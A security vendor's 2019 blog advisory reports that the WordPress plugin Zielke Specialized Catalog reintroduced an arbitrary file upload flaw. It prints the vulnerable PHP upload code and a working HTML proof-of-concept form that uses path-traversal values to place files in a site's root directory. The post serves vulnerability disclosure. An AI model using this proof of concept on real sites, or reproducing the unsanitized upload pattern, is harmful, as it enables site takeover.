22 Apr 2019

Our Proactive Monitoring Caught an Arbitrary File Upload Vulnerability Returning to Zielke Specialized Catalog

On April 10 we detailed for our customers an arbitrary file upload vulnerability that had been in the plugin Zielke Specialized Catalog and some of the odd circumstances surrounding that. A week later a new version of the plugin was released that restores the vulnerability, which we noticed through our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities, and again it isn’t clear exactly what was going on there.

In the most recent of the plugin the file /ajax/ajax_backend_product_upload.php was changed to:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<script>
alert('load test');	
</script>
<?
/*
	Exit if accessed directly. Breaks upload.
 
	if ( ! defined( 'ABSPATH' ) ) exit;
*/
//	$folderNo		= sanitize_text_field($_POST['ftp_directory_num']); // sanitize_text_field breaks file upload
	$folderSlug = $_POST['ftp_product_slug'].'/'.$_POST['ftp_directory_slug']; // sanitize_text_field breaks file upload
	if(!empty($_FILES)){
 
	    $tempFile = $_FILES['file']['tmp_name'];
 
	    $targetPath = $_SERVER['DOCUMENT_ROOT'].'/wp-content/uploads/z_special_catalog_uploads/products/'.$folderSlug.'/';
 
	    $targetFile =  $targetPath. $_FILES['file']['name'];
 
	    move_uploaded_file($tempFile,$targetFile);
 
	}
	/**/
	?>

It isn’t clear what the point of the JavaScript alert added at the top of the code in the new version, but the rest of the code again allows uploading arbitrary files to the website (as of the previous version, the upload code was broken).

The code is using PHP’s short open tag, “<?”, which isn’t normally used anymore with WordPress plugins, apparently since its usage is disabled fairly often by default at web hosts, so it isn’t clear how many websites this code would even run on. There are “Fewer than 10” active installations, so this vulnerability wouldn’t impact many websites even if that was enabled at web hosts.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since multiple previously full disclosed vulnerabilities were quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Proof of Concept

The following proof of concept will place the uploaded file in to the root directory of the website.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/zielke-specialized-catalog/ajax/ajax_backend_product_upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="ftp_directory_num" value="" />
<input type="hidden" name="ftp_directory_slug" value="../.." />
<input type="hidden" name="ftp_product_slug" value="../../" />
<input type="file" name="file" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.


Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.